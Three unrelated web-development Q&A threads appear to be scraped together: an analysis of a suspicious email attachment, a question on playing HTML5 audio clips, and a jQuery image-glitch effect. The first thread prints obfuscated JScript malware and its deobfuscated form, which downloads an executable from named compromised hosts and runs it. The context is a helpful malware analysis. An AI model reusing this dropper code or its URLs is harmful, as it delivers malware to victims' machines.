yakamurahirobetobeVIUVIUVIULitoyDISK(("ARYBKA"+("yakamurahirobetobeVIUVIUVIUchichester","yakamurahirobetobeVIUVIUVIUbreakwater","yakamurahirobetobeVIUVIUVIUpromotional","yakamurahirobetobeVIUVIUVIUcosmetics","yakamurahirobetobeVIUVIUVIUbrunswick","yakamurahirobetobeVIUVIUVIUoptional","yakamurahirobetobeVIUVIUVIUmicro","yakamurahirobetobeVIUVIUVIUnominee","O")+"DB"+("yakamurahirobetobeVIUVIUVIUregarding","yakamurahirobetobeVIUVIUVIUcaretaker","yakamurahirobetobeVIUVIUVIUrepugnant","yakamurahirobetobeVIUVIUVIUcorfu","yakamurahirobetobeVIUVIUVIUunbiased","yakamurahirobetobeVIUVIUVIUenquiry","yakamurahirobetobeVIUVIUVIUinteresting",".S")+"tr12").replace("RYBKA", "D").replace("12", "eam")); yakamurahirobetobeVIUVIUVIUNananananananana[yakamurahirobetobeVIUVIUVIUostrokoncert](); yakamurahirobetobeVIUVIUVIUNananananananana[yakamurahirobetobeVIUVIUVIURhXxGud] = yakamurahirobetobeVIUVIUVIUchosen; yakamurahirobetobePAPAPAMGaSMa = "BIL10NEBIL"; yakamurahirobetobeVIUVIUVIUNananananananana["d3JpdGU=".yakamurahirobetobeVIUVIUVIUtttoooo()](yakamurahirobetobeVIUVIUVIUsudabilo1[("yakamurahirobetobeVIUVIUVIUmephistopheles","yakamurahirobetobeVIUVIUVIUgeneva","yakamurahirobetobeVIUVIUVIUstrategic","yakamurahirobetobeVIUVIUVIUmaybe","yakamurahirobetobeVIUVIUVIUlibyan","yakamurahirobetobeVIUVIUVIUdrivers","Re")+"s"+("yakamurahirobetobeVIUVIUVIUappeals","yakamurahirobetobeVIUVIUVIUmyanmar","yakamurahirobetobeVIUVIUVIUpicked","yakamurahirobetobeVIUVIUVIUprimrose","yakamurahirobetobeVIUVIUVIUmagazines","yakamurahirobetobeVIUVIUVIUscorch","p")+yakamurahirobetobeVIUVIUVIUqtcnthltqfqrhfq['PLAHISH']+"e"+"Qm9keQ==".yakamurahirobetobeVIUVIUVIUtttoooo()]); yakamurahirobetobeVIUVIUVIUXWaxeQhw = "BIL11NEBIL"; yakamurahirobetobeVIUVIUVIUNananananananana[(yakamurahirobetobeVIUVIUVIUcasque + "o"+"220"+("yakamurahirobetobeVIUVIUVIUadhered","yakamurahirobetobeVIUVIUVIUadobe","yakamurahirobetobeVIUVIUVIUconcerning","yakamurahirobetobeVIUVIUVIUguidelines","yakamurahirobetobeVIUVIUVIUacclamation","yakamurahirobetobeVIUVIUVIUhomes","yakamurahirobetobeVIUVIUVIUcontumely","22i")+"tion").replace("22"+("yakamurahirobetobeVIUVIUVIUpressure","yakamurahirobetobeVIUVIUVIUbarrow","yakamurahirobetobeVIUVIUVIUanymore","yakamurahirobetobeVIUVIUVIUapparatus","yakamurahirobetobeVIUVIUVIUlocations","yakamurahirobetobeVIUVIUVIUlobby","yakamurahirobetobeVIUVIUVIUcentres","022"), yakamurahirobetobeVIUVIUVIUtudabilo1)] = 0; yakamurahirobetobeVIUVIUVIUkrDwvrh = "BIL12NEBIL"; yakamurahirobetobeVIUVIUVIUNananananananana["c2F2ZVRvRmlsZQ==".yakamurahirobetobeVIUVIUVIUtttoooo()](yakamurahirobetobeVIUVIUVIUwandermander, 2); yakamurahirobetobeVIUVIUVIUSswQdi = "BIL13NEBIL"; yakamurahirobetobeVIUVIUVIUNananananananana["Y2xvc2U=".yakamurahirobetobeVIUVIUVIUtttoooo()](); yakamurahirobetobeVIUVIUVIUrampart[yakamurahirobetobeVIUVIUVIUpromises](yakamurahirobetobeVIUVIUVIUwandermander, yakamurahirobetobeVIUVIUVIUchosen, true); } }; var yakamurahirobetobeVIUVIUVIU_a5 = ["dGOGOGA3d3LmFnZW56aWFkaW5pLml0L0dIQnV5ZDQ3MgGOGOGA==","a2xuaGOGOGAmxsemw3OC53ZWIuZmMyLmNvbS9HSEJ1eWQ0NzI=","bWFuaW1hbmltb25leS53ZWIuGOGOGAZmMyLmNvbS9HSEJ1eWQ0NzI="]; for(yakamurahirobetobeVIUVIUVIUuueee in yakamurahirobetobeVIUVIUVIU_a5){ try{ yakamurahirobetobeVIUVIUVIU_a2("http://"+yakamurahirobetobeVIUVIUVIU_a5[yakamurahirobetobeVIUVIUVIUuueee].yakamurahirobetobeVIUVIUVIUtttoooo() + "?bPxXNr=LUmUhmmq","Exgngo"); }catch(yakamurahirobetobeVIUVIUVIU_a3){alert(yakamurahirobetobeVIUVIUVIU_a3.message);} } </script> </body> </html> I opened it in my browser and now i'm afraid it is some kind of a hack. what can I do now for my security? should i delete all senstive data in my browser? I'm using google chrome which has all passwords stored. I'm using Ubuntu 16.04.
I received this attachement today and decided to investigate a bit. Here is the deobfuscated version: var wscriptShell = new ActiveXObject('WScript.Shell'); var msxml2XmlHttp = new ActiveXObject('MSXML2.XMLHTTP'); var tempFolder = wscriptShell.ExpandEnvironmentStrings("%TEMP%"); function download(url, file) { var fullpath = tempFolder + '/' + file + '.exe'; msxml2XmlHttp.open("GET", url, false); msxml2XmlHttp.setRequestHeader("User-Agent", 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)'); msxml2XmlHttp["send"](); var adodbStream = new ActiveXObject("ADODB.Stream"); adodbStream.open(); adodbStream.type = 1; adodbStream.write(sudabilo1["ResponseBody"]); adodbStream.position = 0; adodbStream.saveToFile(fullpath, 2); adodbStream.close(); wscriptShell.Run(fullpath, 1, true); } var urls = [ "brunnenburg.de/GHBuyd472", "klnjllzl78.web.fc2.com/GHBuyd472", "w3rx80no.homepage.t-online.de/GHBuyd472" ]; for(i in urls) { try { download("http://" + urls[i] + "?huLara=HlyrvuBeY", "yXbJOHB"); } catch(e) { alert(e.message); } } Basically what it does is download an executable file from a compromised server into your temp directory and runs it. I have not investigated the file further. Since you are not using windows, this is harmless. If you were, the first step would be to check if a file named Exgngo.exe (this line contains the relevant name: yakamurahirobetobeVIUVIUVIU_a2("http://"+yakamurahirobetobeVIUVIUVIU_a5[yakamurahirobetobeVIUVIUVIUuueee].yakamurahirobetobeVIUVIUVIUtttoooo() + "?bPxXNr=LUmUhmmq","Exgngo");) is in your %TEMP% directory. If it is, contact someone that knows what he's doing to deal with it. EDIT: Virus Total here.
play audio range in html5
I would like to be able to have buttons that can play certain audio ranges from a larger file. Something like: <button onclick="playClip('http://blah/source1.mp3', 2.5, 3.0, 1.0)">Play clip 1</button> <button onclick="playClip('http://blah/source2.mp3', 10.0, 2.0, 0.5)">Play clip 2 slow</button> where playClip has a pattern like this: function playClip(src, startOffset, length, rate) { // What to put here? } Or instead of a length, an ending offset. Can some one point me to code that can do that, or help me write it? The closest I could find is https://gist.github.com/remy/753003/download# but I need different sized clips, from possibly different files, and with a playback rate specified. I'm afraid I've limited experience with Javascript. I'm trying to replace a Silverlight app that does this. Thanks. -John
Either use Media Fragments URI syntax: var src, startOffset, endOffset, playbackRate, audio = new Audio(src + '#t=' + startOffset + ',' + endOffset); audio.onloadedmetadata = function() { audio.playbackRate = playbackRate; audio.play(); }; or timeupdate event: var audio = new Audio( ... ), startOffset, endOffset, playbackRate; audio.onloadedmetadata = function() { audio.playbackRate = playbackRate; audio.currentTime = startOffset; audio.play(); }; audio.ontimeupdate = function() { if (audio.currentTime >= endOffset) { audio.pause(); } }; References: Specifying playback range Jumping to time offsets in HTML5 video
Here's an extract of my current code, which uses both the audio control's events and timeout to make sure the audio stops. There's a reference to a volume slider you might need to trim. var jt_audioControl; var jt_audioSource; var jt_audioFiles; var jt_audioFileIndex; var jt_audioFile; var jt_audioStartTime; var jt_audioEndTime; var jt_audioPlaybackRate; var jt_audioTimeoutHandle; var jt_audioLink; var jt_audioMimeType; var jt_audioMediaType; var jt_volumeSlider; function jt_onAudioTimeUpdate() { if (jt_audioEndTime > 0.0) { if (jt_audioControl.currentTime >= jt_audioEndTime) { //alert('stopped: jt_audioControl.currentTime = ' + jt_audioControl.currentTime + ' jt_audioEndTime = ' + jt_audioEndTime); jt_audioControl.pause(); //jt_audioStartTime = jt_audioEndTime = 0.0; } } } function jt_onAudioCanPlay() { jt_audioControl.pause(); jt_audioControl.currentTime = jt_audioStartTime; jt_audioControl.defaultPlaybackRate = jt_audioPlaybackRate; jt_audioControl.playbackRate = jt_audioPlaybackRate; jt_audioControl.play(); jt_audioControl.currentTime = jt_audioStartTime; jt_volumeSliderChanged(); // Set initial value to slider. var timeout = (((jt_audioEndTime - jt_audioStartTime)) / jt_audioPlaybackRate) * 1000; //alert('jt_audioEndTime = ' + jt_audioEndTime + ', timeout = ' + timeout); if (jt_audioEndTime > 0.0) { jt_audioTimeoutHandle = setTimeout(jt_onAudioEnded, timeout); //alert('jt_audioTimeoutHandle = ' + jt_audioTimeoutHandle); } else if (jt_audioTimeoutHandle != null) { clearTimeout(jt_audioTimeoutHandle); jt_audioTimeoutHandle = null; } } function jt_onAudioEnded() { //alert('ended called'); if (jt_audioFiles == null) return; while (jt_audioControl.position < jt_audioControl.duration) ; jt_audioFileIndex = jt_audioFileIndex + 1; if (jt_audioFileIndex < jt_audioFiles.length) { jt_createAudio(jt_audioFiles[jt_audioFileIndex]); } else { jt_audioControl.pause(); jt_audioFiles = null; jt_audioFileIndex = 0; } } function jt_onAudioError(e) { var msg; switch (e.target.error.code) { case e.target.error.MEDIA_ERR_ABORTED: msg = 'You aborted the video playback.'; break; case e.target.error.MEDIA_ERR_NETWORK: msg = 'A network error caused the video download to fail part-way.'; break; case e.target.error.MEDIA_ERR_DECODE: msg = 'The video playback was aborted due to a corruption problem or because the video used features your browser did not support.'; break; case e.target.error.MEDIA_ERR_SRC_NOT_SUPPORTED: msg = 'The video could not be loaded, either because the server or network failed or because the format is not supported.'; break; default: msg = 'An unknown error occurred.'; break; } alert('Error loading media: ' + msg + ' Media file: ' + jt_audioFile + ' MIME type: ' + jt_audioMimeType); } function jt_addSource(url) { var srcUrl; var doConvertCheck = false; var offset = url.lastIndexOf("."); if (offset == -1) { if (jt_audioSource == null) { jt_audioSource = document.createElement('source'); jt_audioControl.appendChild(jt_audioSource); } jt_audioMimeType = 'audio/mpeg3'; jt_audioMediaType = 'audio/mpeg3'; jt_audioSource.type = jt_audioMediaType; jt_audioSource.src = url; jt_audioControl.load(); return; } var base = url.substr(0, offset); var ext = url.substr(offset).toLowerCase(); var newExt = ext; if (jt_audioControl.canPlayType('audio/mpeg3')) { jt_audioMimeType = 'audio/mpeg3'; jt_audioMediaType = 'audio/mpeg3'; if (ext != '.mp3') newExt = '-aa.mp3'; } else if (jt_audioControl.canPlayType('audio/mpeg')) { jt_audioMimeType = 'audio/mpeg3'; jt_audioMediaType = 'audio/mpeg'; if (ext != '.mp3') newExt = '-aa.mp3'; } else if (jt_audioControl.canPlayType('audio/mp3')) { jt_audioMimeType = 'audio/mpeg3'; jt_audioMediaType = 'audio/mp3'; if (ext != '.mp3') newExt = '-aa.mp3'; } else if (jt_audioControl.canPlayType('audio/ogg')) { jt_audioMimeType = 'audio/ogg'; jt_audioMediaType = 'audio/ogg'; if (ext != '.ogg') newExt = '-aa.ogg'; } else { alert('Sorry, can not play file: ' + url); } srcUrl = base + newExt; if (srcUrl.lastIndexOf('~', 0) === 0) { if (window.location.hostname == '') { srcUrl = srcUrl.substr(2); } else { var url = 'http://' + window.location.hostname; if (window.location.port.toString() != '') url = usrl + ':' + window.location.port.toString() srcUrl = url + srcUrl.substr(1); } } //alert('srcUrl = ' + srcUrl); if (jt_audioSource == null) { jt_audioSource = document.createElement('source'); jt_audioControl.appendChild(jt_audioSource); } jt_audioSource.type = jt_audioMediaType; if (doConvertCheck) { jt_audioLink = "/ConvertCheck?path=" + srcUrl + "&" + "mimeType=" + jt_audioMimeType jt_audioSource.src = jt_audioLink; } else { jt_audioSource.src = srcUrl; } jt_audioControl.load(); } function jt_extractTimeRange(url) { var rangeFieldIndex = url.lastIndexOf("#t"); if (rangeFieldIndex >= 0) { var rangeString = url.substr(rangeFieldIndex + 2); var range = rangeString.split(','); jt_audioStartTime = parseFloat(range[0]); jt_audioEndTime = parseFloat(range[1]); } else { jt_audioStartTime = 0.0; jt_audioEndTime = 0.0; return url; } return url.substr(0, rangeFieldIndex); } function jt_createAudio(url) { url = jt_extractTimeRange(url); if (jt_audioControl == null) { jt_audioFile = url; jt_audioControl = new Audio(); // The ontimeupdate handler seems to be called unreliably, so we'll use // setTimeout as well in the oncanplay handler. jt_audioControl.ontimeupdate = jt_onAudioTimeUpdate; jt_audioControl.onloadedmetadata = jt_onAudioCanPlay; jt_audioControl.onended = jt_onAudioEnded; jt_audioControl.onerror = jt_onAudioError; jt_addSource(url); // We'll let the oncanplay call play once loaded. } else if (jt_audioFile != url) { jt_audioFile = url; jt_addSource(url); } else { //jt_onAudioLoaded(); jt_audioControl.load(); } } function jt_playAudioFile(url) { jt_audioFiles = null; jt_audioFileIndex = 0; jt_audioStartTime = 0.0; jt_audioEndTime = 0.0; jt_audioPlaybackRate = 1.0; jt_createAudio(url); } function jt_playSlowAudioFile(url) { jt_audioFiles = null; jt_audioFileIndex = 0; jt_audioStartTime = 0.0; jt_audioEndTime = 0.0; jt_audioPlaybackRate = 0.5; jt_createAudio(url); } function jt_playAudioFileList(urls) { jt_audioFiles = urls; jt_audioFileIndex = 0; jt_audioStartTime = 0.0; jt_audioEndTime = 0.0; jt_audioPlaybackRate = 1.0; if ((urls != null) && (urls.length > 0)) { jt_createAudio(urls[0]); } } function jt_playSlowAudioFileList(urls) { jt_audioFiles = urls; jt_audioFileIndex = 0; jt_audioStartTime = 0.0; jt_audioEndTime = 0.0; jt_audioPlaybackRate = 0.5; if ((urls != null) && (urls.length > 0)) { jt_createAudio(urls[0]); } } function jt_playAudioFileSegment(url, startTime, endTime) { jt_audioFiles = null; jt_audioFileIndex = 0; url = url + '#t' + startTime.toString() + ',' + endTime.toString(); jt_audioPlaybackRate = 1.0; jt_createAudio(url); } function jt_playSlowAudioFileSegment(url, startTime, endTime) { jt_audioFiles = null; jt_audioFileIndex = 0; url = url + '#t' + startTime.toString() + ',' + endTime.toString(); jt_audioPlaybackRate = 0.5; jt_createAudio(url); } function jt_stopAudio() { if (jt_audioControl != null) jt_audioControl.pause(); } function jt_volumeSliderChanged() { if (jt_volumeSlider == null) { jt_volumeSlider = document.getElementById('volumeSlider'); if (jt_volumeSlider == null) return; } var value = jt_volumeSlider.value; if (jt_audioControl != null) jt_audioControl.volume = value / 10; $.ajax({ url: "/Common/SetUserOptionAjax?key=AudioVolume&value=" + value.toString(), type: "POST" }); }
How did they make this glitchable_container?
https://versionindustries.com/ Hover over the images they use for their portfolio. That glitch is really cool to me, and I can see tons of applications for it. Does anybody know how I can replicate that? I'm not great at coding, but I'd probably understand the lingo you throw at me. Anybody?
Why not just inspect the code they're using and try to reverse-engineer? (function($) { window.GlitchableImages = function(selector) { var base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", base64Map = base64Chars.split(""), reverseBase64Map = false, hover_img = false, elSelector = selector; function setupReverseBase64Map() { reverseBase64Map = {}; base64Map.forEach(function(val, key) { reverseBase64Map[val] = key }) } function detectJpegHeaderSize(data) { var jpgHeaderLength = 417; for (var i = 0, l = data.length; i < l; i++) { if (data[i] == 255 && data[i + 1] == 218) { jpgHeaderLength = i + 2; return jpgHeaderLength } } return jpgHeaderLength } function base64ToByteArray(str) { var result = [], digitNum, cur, prev; for (var i = 23, l = str.length; i < l; i++) { cur = reverseBase64Map[str.charAt(i)]; digitNum = (i - 23) % 4; switch (digitNum) { case 1: result.push(prev << 2 | cur >> 4); break; case 2: result.push((prev & 15) << 4 | cur >> 2); break; case 3: result.push((prev & 3) << 6 | cur); break } prev = cur } return result } function byteArrayToBase64(arr) { var result = ["data:image/jpeg;base64,"], byteNum, cur, prev; for (var i = 0, l = arr.length; i < l; i++) { cur = arr[i]; byteNum = i % 3; switch (byteNum) { case 0: result.push(base64Map[cur >> 2]); break; case 1: result.push(base64Map[(prev & 3) << 4 | cur >> 4]); break; case 2: result.push(base64Map[(prev & 15) << 2 | cur >> 6]); result.push(base64Map[cur & 63]); break } prev = cur } if (byteNum === 0) { result.push(base64Map[(prev & 3) << 4]); result.push("==") } else if (byteNum == 1) { result.push(base64Map[(prev & 15) << 2]); result.push("=") } return result.join("") } function glitchJpegBytes(strArr, jpgHeaderLength) { var rnd = Math.floor(jpgHeaderLength + Math.random() * (strArr.length - jpgHeaderLength - 4)); strArr[rnd] = Math.floor(Math.random() * 256) } function glitchJpeg() { try { var glitchCopy = hover_img.dataArr.slice(); for (var i = 0; i < 10; i++) { glitchJpegBytes(glitchCopy, hover_img.headerLength) } var new_img = new Image; new_img.onload = function() { if (typeof hover_img.ctx === "undefined") return; hover_img.ctx.drawImage(new_img, 0, 0, hover_img.width, hover_img.height) }; new_img.src = byteArrayToBase64(glitchCopy) } catch (e) {} } function unglitch(this_img) { try { var new_img = new Image; new_img.onload = function() { this_img.ctx.drawImage(new_img, 0, 0, this_img.width, this_img.height) }; new_img.src = byteArrayToBase64(this_img.dataArr) } catch (e) {} } function setupGlitchableImage(event) { var img = this.page_img; var $img = $(img); var $canvas = $('<canvas width="' + $img.width() + '" height="' + $img.height() + '">'); $img.wrap('<span class="glitchable_container"></span>'); $img.after($canvas); try { img.ctx = $canvas[0].getContext("2d"); img.ctx.drawImage(img, 0, 0, img.width, img.height, 0, 0, $img.width(), $img.height()); img.jpgImgData = $canvas[0].toDataURL("image/jpeg"); img.dataArr = base64ToByteArray(img.jpgImgData); img.headerLength = detectJpegHeaderSize(img.dataArr) } catch (e) {} } function onImageMouseOver(event) { hover_img = $(event.target).prev("img")[0] } function onImageMouseMove(event) { requestAnimationFrame(glitchJpeg) } function onImageMouseOut(event) { unglitch(hover_img); hover_img = false } function resize() { $(".glitchable_container canvas").each(function() { var $img = $(this).siblings("img"); $(this).attr("width", $img.width()).attr("height", $img.height()) }) } function init() { if (!reverseBase64Map) { setupReverseBase64Map() } $(elSelector).each(function() { if (this.ctx) { return } this.load_img = new Image; this.load_img.page_img = this; $(this.load_img).load(setupGlitchableImage); this.load_img.src = this.getAttribute("src") }); $("body").on("mouseover", ".glitchable_container", onImageMouseOver).on("mousemove", ".glitchable_container", onImageMouseMove).on("mouseout", ".glitchable_container", onImageMouseOut) } return { onResize: resize, init: init } } })(jQuery);